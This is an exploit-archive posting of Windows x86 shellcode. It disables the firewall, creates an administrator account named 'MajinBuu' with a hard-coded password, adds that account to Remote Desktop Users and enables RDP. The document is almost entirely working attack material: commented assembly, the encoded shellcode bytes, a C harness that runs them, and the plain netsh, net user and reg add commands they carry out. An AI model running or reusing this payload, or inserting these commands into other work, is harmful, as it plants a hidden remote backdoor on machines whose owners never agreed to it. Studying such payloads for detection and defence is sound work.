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Microsoft Windows Firewall Disabling Shellcode

Microsoft Windows Firewall Disabling Shellcode
Posted Apr 20, 2020
Authored by Bobby Cooke

644 bytes small Microsoft Windows x86 shellcode that disables the Windows firewall, adds the user MajinBuu with password TurnU2C@ndy!! to the system, adds the user MajinBuu to the local groups Administrators and Remote Desktop Users, and then enables the RDP Service.

tags | remote, x86, local, shellcode
systems | windows
SHA-256 | 45196bef615997ff1457d3b58b9dd0c6f69545d940fc57d196cd73a34f489870

Microsoft Windows Firewall Disabling Shellcode

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## Exploit Title: Windows/x86 - MSVCRT System - Dynamic Null-free - Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes)
## Exploit Author: Bobby Cooke
## Date: 2020-04-20
## Tested on: Windows 10 Home - 1909 (x86_64), Windows 10 Pro - 1909 (x86)
## Description: Windows Shellcode that disables the Windows firewall, adds the user 'MajinBuu' with password 'TurnU2C@ndy!!' to the system, adds the user 'MajinBuu' to the local groups 'Administrators' & 'Remote Desktop Users', and then enables the RDP Service.
## Commands used:
## 'netsh firewall set opmode mode=DISABLE'
## 'net user MajinBuu TurnU2C@ndy!! /add'
## 'net localgroup Administrators MajinBuu /add'
## 'net localgroup "Remote Desktop Users" MajinBuu /add'
## 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

; Create stack frame
mov ebp, esp
sub esp, 0x30

; Find kernel32.dll base address
xor ebx, ebx
mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB
mov ebx, [ebx+0xC] ; EBX = Address_of_LDR
mov ebx, [ebx+0x1C] ; EBX = 1st entry in InitOrderModuleList / ntdll.dll
mov ebx, [ebx] ; EBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov ebx, [ebx] ; EBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov eax, [ebx+0x8] ; EAX = &kernel32.dll / Address of kernel32.dll
mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll

; Find the address of the Export Table within kernel32.dll
mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader
add ebx, eax ; EBX = &NewEXEHeader
mov ebx, [ebx+0x78] ; EBX = RVA ExportTable
add ebx, eax ; EBX = &ExportTable

; Find the address of the Name Pointer Table within kernel32.dll
mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable
add edi, eax ; EDI = &NamePointerTable
mov [ebp-0x8], edi ; save &NamePointerTable to stack frame

; Find the address of the Ordinal Table
mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable
add ecx, eax ; ECX = &OrdinalTable
mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame

; Find the address of the Address Table
mov edx, [ebx+0x1C] ; EDX = RVA AddressTable
add edx, eax ; EDX = &AddressTable
mov [ebp-0x10], edx ; save &AddressTable to stack-frame

; Find Number of Functions within the Export Table of kernel32.dll
mov edx, [ebx+0x14] ; EDX = Number of Functions
mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame

jmp short functions

findFunctionAddr:
; Initialize the Counter to prevent infinite loop
xor eax, eax ; EAX = Counter = 0
mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
mov edi, [ebp-0x8] ; EDI = &NamePointerTable
mov esi, [ebp-0x18] ; ESI = Address of String for the Symbol we are searching for
xor ecx, ecx ; ECX = 0x00000000
cld ; clear direction flag - Process strings from left to right
mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll
add cx, 0xF ; ECX = len("GetProcAddress,0x00") = 15 = 14 char + 1 Null
repe cmpsb ; compare first 8 bytes of [&NameString] to "GetProcAddress,0x00"
jz found ; If string at [&NameString] == "GetProcAddress,0x00", then end loop
inc eax ; else Counter ++
cmp eax, edx ; Does EAX == Number of Functions?
jb searchLoop ; If EAX != Number of Functions, then restart the loop

found:
; Find the address of GetProcAddress by using the last value of the Counter
mov ecx, [ebp-0xC] ; ECX = &OrdinalTable
mov edx, [ebp-0x10] ; EDX = &AddressTable
mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)]
mov eax, [edx + eax*4] ; EAX = RVA GetProcAddress = [&AddressTable + ordinalNumber]
add eax, [ebp-0x4] ; EAX = &GetProcAddress = RVA GetProcAddress + &kernel32.dll
ret

functions:
# Push string "GetProcAddress",0x00 onto the stack
xor eax, eax ; clear eax register
mov ax, 0x7373 ; AX is the lower 16-bits of the 32bit EAX Register
push eax ; ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"
push 0x65726464 ; erdd : 65726464 // "GetProcAddress"
push 0x41636f72 ; Acor : 41636f72
push 0x50746547 ; PteG : 50746547
mov [ebp-0x18], esp ; save PTR to string at bottom of stack (ebp)
call findFunctionAddr ; After Return EAX will = &GetProcAddress
# EAX = &GetProcAddress
mov [ebp-0x1C], eax ; save &GetProcAddress

; Call GetProcAddress(&kernel32.dll, PTR "LoadLibraryA"0x00)
xor edx, edx ; EDX = 0x00000000
push edx ; null terminator for LoadLibraryA string
push 0x41797261 ; Ayra : 41797261 // "LoadLibraryA",0x00
push 0x7262694c ; rbiL : 7262694c
push 0x64616f4c ; daoL : 64616f4c
push esp ; $hModule -- push the address of the start of the string onto the stack
push dword [ebp-0x4] ; $lpProcName -- push base address of kernel32.dll to the stack
mov eax, [ebp-0x1C] ; Move the address of GetProcAddress into the EAX register
call eax ; Call the GetProcAddress Function.
mov [ebp-0x20], eax ; save Address of LoadLibraryA

; Call LoadLibraryA(PTR "msvcrt")
; push "msvcrt",0x00 to the stack and save pointer
xor eax, eax ; clear eax
mov ax, 0x7472 ; tr : 7472
push eax
push 0x6376736D ; cvsm : 6376736D
push esp ; push the pointer to the string
mov ebx, [ebp-0x20] ; LoadLibraryA Address to ebx register
call ebx ; call the LoadLibraryA Function to load msvcrt.dll
mov [ebp-0x24], eax ; save Address of msvcrt.dll

; Call GetProcAddress(msvcrt.dll, "system")
xor edx, edx
mov dx, 0x6d65 ; me : 6d65
push edx
push 0x74737973 ; tsys : 74737973
push esp ; push pointer to string to stack for 'system'
push dword [ebp-0x24] ; push base address of msvcrt.dll to stack
mov eax, [ebp-0x1C] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddress
; EAX = WSAStartup Address
mov [ebp-0x28], eax ; save Address of msvcrt.system

; 'netsh firewall set opmode mode=DISABLE'
xor ecx, ecx
mov cx, 0x454c ; EL : 454c
push ecx
push 0x42415349 ; BASI : 42415349
push 0x443d6564 ; D=ed : 443d6564
push 0x6f6d2065 ; om e : 6f6d2065
push 0x646f6d70 ; domp : 646f6d70
push 0x6f207465 ; o te : 6f207465
push 0x73206c6c ; s ll : 73206c6c
push 0x61776572 ; awer : 61776572
push 0x69662068 ; if h : 69662068
push 0x7374656e ; sten : 7374656e
push esp ; push pointer to string
mov eax, [ebp-0x28] ; msvcrt.system address
call eax ; call system

; 'net user MajinBuu TurnU2C@ndy!! /add'
xor ecx, ecx
push ecx
push 0x6464612f ; dda/ : 6464612f
push 0x20212179 ; !!y : 20212179
push 0x646e4043 ; dn@C : 646e4043
push 0x32556e72 ; 2Unr : 32556e72
push 0x75542075 ; uT u : 75542075
push 0x75426e69 ; uBni : 75426e69
push 0x6a614d20 ; jaM : 6a614d20
push 0x72657375 ; resu : 72657375
push 0x2074656e ; ten : 2074656e
push esp ; push pointer to string
mov eax, [ebp-0x28] ; msvcrt.system address
call eax ; call system

; 'net localgroup Administrators MajinBuu /add'
xor ecx, ecx
push ecx
mov ecx, 0x64646190 ; dda : 646461
shr ecx, 8
push ecx
push 0x2f207575 ; / uu : 2f207575
push 0x426e696a ; Bnij : 426e696a
push 0x614d2073 ; aM s : 614d2073
push 0x726f7461 ; rota : 726f7461
push 0x72747369 ; rtsi : 72747369
push 0x6e696d64 ; nimd : 6e696d64
push 0x41207075 ; A pu : 41207075
push 0x6f72676c ; orgl : 6f72676c
push 0x61636f6c ; acol : 61636f6c
push 0x2074656e ; ten : 2074656e
push esp ; push pointer to string
mov eax, [ebp-0x28] ; msvcrt.system address
call eax ; call system

; 'net localgroup "Remote Desktop Users" MajinBuu /add'
xor ecx, ecx
push ecx
mov ecx, 0x64646190 ; dda : 646461
shr ecx, 8
push ecx
push 0x2f207575 ; / uu : 2f207575
push 0x426e696a ; Bnij : 426e696a
push 0x614d2022 ; aM " : 614d2022
push 0x73726573 ; sres : 73726573
push 0x5520706f ; U po : 5520706f
push 0x746b7365 ; tkse : 746b7365
push 0x44206574 ; D et : 44206574
push 0x6f6d6552 ; omeR : 6f6d6552
push 0x22207075 ; " pu : 22207075
push 0x6f72676c ; orgl : 6f72676c
push 0x61636f6c ; acol : 61636f6c
push 0x2074656e ; ten : 2074656e
push esp ; push pointer to string
mov eax, [ebp-0x28] ; msvcrt.system address
call eax ; call system

; 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
xor ecx, ecx
push ecx
push 0x662f2030 ; f/ 0 : 662f2030
push 0x20642f20 ; d/ : 20642f20
push 0x44524f57 ; DROW : 44524f57
push 0x445f4745 ; D_GE : 445f4745
push 0x5220742f ; R t/ : 5220742f
push 0x20736e6f ; sno : 20736e6f
push 0x69746365 ; itce : 69746365
push 0x6e6e6f43 ; nnoC : 6e6e6f43
push 0x5354796e ; STyn : 5354796e
push 0x65446620 ; eDf : 65446620
push 0x762f2022 ; v/ " : 762f2022
push 0x72657672 ; revr : 72657672
push 0x6553206c ; eS l : 6553206c
push 0x616e696d ; anim : 616e696d
push 0x7265545c ; reT\ : 7265545c
push 0x6c6f7274 ; lort : 6c6f7274
push 0x6e6f435c ; noC\ : 6e6f435c
push 0x7465536c ; teSl : 7465536c
push 0x6f72746e ; ortn : 6f72746e
push 0x6f43746e ; oCtn : 6f43746e
push 0x65727275 ; erru : 65727275
push 0x435c4d45 ; C\ME : 435c4d45
push 0x54535953 ; TSYS : 54535953
push 0x5c454e49 ; \ENI : 5c454e49
push 0x4843414d ; HCAM : 4843414d
push 0x5f4c4143 ; _LAC : 5f4c4143
push 0x4f4c5f59 ; OL_Y : 4f4c5f59
push 0x454b4822 ; EKH" : 454b4822
push 0x20646461 ; dda : 20646461
push 0x20676572 ; ger : 20676572
push esp ; push pointer to string
mov eax, [ebp-0x28] ; msvcrt.system address
call eax ; call system


######################################################################################
#include <windows.h>
#include <stdio.h>

char code[] = \
"\x89\xe5\x83\xec\x30\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b"
"\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7"
"\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53"
"\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\xe8\x31\xc9\xfc\x8b"
"\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4"
"\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\x31\xc0\x66\xb8\x73\x73\x50"
"\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65\x74\x50\x89\x65\xe8\xe8\xb0\xff"
"\xff\xff\x89\x45\xe4\x31\xd2\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f"
"\x61\x64\x54\xff\x75\xfc\x8b\x45\xe4\xff\xd0\x89\x45\xe0\x31\xc0\x66\xb8\x72\x74\x50"
"\x68\x6d\x73\x76\x63\x54\x8b\x5d\xe0\xff\xd3\x89\x45\xdc\x31\xd2\x66\xba\x65\x6d\x52"
"\x68\x73\x79\x73\x74\x54\xff\x75\xdc\x8b\x45\xe4\xff\xd0\x89\x45\xd8\x31\xc9\x66\xb9"
"\x4c\x45\x51\x68\x49\x53\x41\x42\x68\x64\x65\x3d\x44\x68\x65\x20\x6d\x6f\x68\x70\x6d"
"\x6f\x64\x68\x65\x74\x20\x6f\x68\x6c\x6c\x20\x73\x68\x72\x65\x77\x61\x68\x68\x20\x66"
"\x69\x68\x6e\x65\x74\x73\x54\x8b\x45\xd8\xff\xd0\x31\xc9\x51\x68\x2f\x61\x64\x64\x68"
"\x79\x21\x21\x20\x68\x43\x40\x6e\x64\x68\x72\x6e\x55\x32\x68\x75\x20\x54\x75\x68\x69"
"\x6e\x42\x75\x68\x20\x4d\x61\x6a\x68\x75\x73\x65\x72\x68\x6e\x65\x74\x20\x54\x8b\x45"
"\xd8\xff\xd0\x31\xc9\x51\xb9\x90\x61\x64\x64\xc1\xe9\x08\x51\x68\x75\x75\x20\x2f\x68"
"\x6a\x69\x6e\x42\x68\x73\x20\x4d\x61\x68\x61\x74\x6f\x72\x68\x69\x73\x74\x72\x68\x64"
"\x6d\x69\x6e\x68\x75\x70\x20\x41\x68\x6c\x67\x72\x6f\x68\x6c\x6f\x63\x61\x68\x6e\x65"
"\x74\x20\x54\x8b\x45\xd8\xff\xd0\x31\xc9\x51\xb9\x90\x61\x64\x64\xc1\xe9\x08\x51\x68"
"\x75\x75\x20\x2f\x68\x6a\x69\x6e\x42\x68\x22\x20\x4d\x61\x68\x73\x65\x72\x73\x68\x6f"
"\x70\x20\x55\x68\x65\x73\x6b\x74\x68\x74\x65\x20\x44\x68\x52\x65\x6d\x6f\x68\x75\x70"
"\x20\x22\x68\x6c\x67\x72\x6f\x68\x6c\x6f\x63\x61\x68\x6e\x65\x74\x20\x54\x8b\x45\xd8"
"\xff\xd0\x31\xc9\x51\x68\x30\x20\x2f\x66\x68\x20\x2f\x64\x20\x68\x57\x4f\x52\x44\x68"
"\x45\x47\x5f\x44\x68\x2f\x74\x20\x52\x68\x6f\x6e\x73\x20\x68\x65\x63\x74\x69\x68\x43"
"\x6f\x6e\x6e\x68\x6e\x79\x54\x53\x68\x20\x66\x44\x65\x68\x22\x20\x2f\x76\x68\x72\x76"
"\x65\x72\x68\x6c\x20\x53\x65\x68\x6d\x69\x6e\x61\x68\x5c\x54\x65\x72\x68\x74\x72\x6f"
"\x6c\x68\x5c\x43\x6f\x6e\x68\x6c\x53\x65\x74\x68\x6e\x74\x72\x6f\x68\x6e\x74\x43\x6f"
"\x68\x75\x72\x72\x65\x68\x45\x4d\x5c\x43\x68\x53\x59\x53\x54\x68\x49\x4e\x45\x5c\x68"
"\x4d\x41\x43\x48\x68\x43\x41\x4c\x5f\x68\x59\x5f\x4c\x4f\x68\x22\x48\x4b\x45\x68\x61"
"\x64\x64\x20\x68\x72\x65\x67\x20\x54\x8b\x45\xd8\xff\xd0";

int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}


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